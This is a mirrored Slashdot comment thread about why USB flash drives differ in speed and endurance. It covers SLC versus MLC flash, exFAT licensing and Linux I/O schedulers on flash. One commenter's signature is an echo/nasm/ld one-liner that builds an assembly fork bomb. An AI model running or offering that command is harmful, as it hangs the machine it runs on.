Slashdot Mirror
USB Flash Drive Life Varies Up To 10 Times
Lucas123 writes "Differences in the type of memory and I/O controllers used in USB drives can make one device perform two or three times faster and last 10 times longer than another, even if both sport the USB 2.0 logo, according to a Computerworld story. While a slow USB drive may be fine for moving a few dozen megabytes of files around, when you get into larger data transfers, that's when bandwidth contrictions become noticeable. In 2009, controller manufacturers are expected to begin shipping drives with dual- and even four-channel controllers, which will increase speeds even for slower drives."
Yes, there is. But those are designed for raw access to the flash medium. The drive's controller provides a facade of having a whatever you formatted it as.
Because SLC is both faster and more durable than MLC?
If J.K.R wrote Windows: Puteulanus fenestra mortalis!
There is a Journalled Flash File System.
exFAT isn't 'designed for USB flash devices'. Filesystems in fact don't need to be 'designed for USB flash devices' because those devices (assuming they last more than a couple of days) do wear levelling under the filesystem layer. It's a hacked up version of FAT that works past on drives bigger than 2TB or files bigger than 4GB. Since it's non back compatible and Microsoft have a new found business model of IP licensing I suspect there won't be any third party implementations. Curently there isn't a spec published for exFAT and it would be easier to patent some key part of a new filesystem than one which is back compatible with FAT.
Mind you it's still free in the sense that you don't pay for it. I'm just annoyed by people using "free software" as a synonym of the business model they favour and expect everyone to know what they mean. Microsoft could claim according to the dictionary that exFAT is free and they'd be right. The FSF doesn't own the word and can't define it. But the exFAT specification is not published (the Sun version of Open Systems) and even if it were the standard would most likely not be an open one in the sense that you don't need a license to implement it (the PC industry criteria for an Open System). Maybe it will be of course, I haven't heard a statement from Microsoft on exFAT openness and licensing.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Mod parent up! This is the heart of the problem right there: manufacturers don't write whether the USB drive (or SD card, or any other Flash RAM device) uses SLC or MLC Flash RAM. But that's the main difference. SLC Flash will survive 100.000 write/erase cycles, MLC only about 5000. That's a HUGE difference. Especially if you use the USB drive to host an OS that likes logging a lot. Each log write implies the whole Flash RAM block (usually 128 KB) to be erased and then written to.
Logging is the Flash RAM killer.
And Kingston and Sandisk should start putting "SLC" or "MLC" on their products, so we techies know whether they are worth the double price.
"The agriculture ministry is not in charge of Gundam" - Japanese ministry official.
I was just discussing this the other day, and my friend found this: http://www.kingston.com/ukroot/flash/flashendurance.asp
Escher was the first MC and Giger invented the HR department.
Corsair were awesome till a few months ago when they dumped SLC. My 16GB Voyager GT is a stick of shit. Oh yeah, streaming performance is great at 25MB/sec and random reads are pretty good too. Streaming writes are better than average at around 15MB/sec. But for random writes it's just awful. How does 10-20 writes per second sound? Crap? It is.
/my/linux/source/Documentation/block.
I tried to use one as the boot drive in my Eee PC and it was glacial. There also seemed to be some kind of pathological interaction between the MCL Voyager GT and Linux's CFQ IO scheduler - when performing a lot of writes the machine would lock solid for several seconds at a time, it looked like reads were being squeezed out. I never did boil it down to a clean test case though. Switching to the deadline scheduler improved matters substantially. While investigating that I realised Linux doesn't have an optimal scheduler for flash drives, they're all built around reducing and consolidating head seeks. no-op (which as the name suggests is just a FIFO with no real scheduling at all) is the fastest scheduler for USB flash, but you get no fair scheduling at all - you have to wait for that 500MB write to finish before your 100-byte read gets its turn. At least some of no-op's better performance is down to it not being anticipatory - it doesn't wait a few milliseconds after an IO to see if the process that requested the previous read/write requests another near by. That's just a waste of time with flash which doesn't have a physical head to seek.
There's a fair bit of tuning you can do at runtime with Linux's IO schedulers, read the docs in
If you want fast, look at the old, 8GB SLC Voyager GTs. 30MB/sec read, 25MB/sec headline figures don't sound that much better, but in the real world they can be 3x faster at writes than the newer MLC models thanks to overwhelmingly better random write performance.
Chernobyl 'not a wildlife haven' - BBC News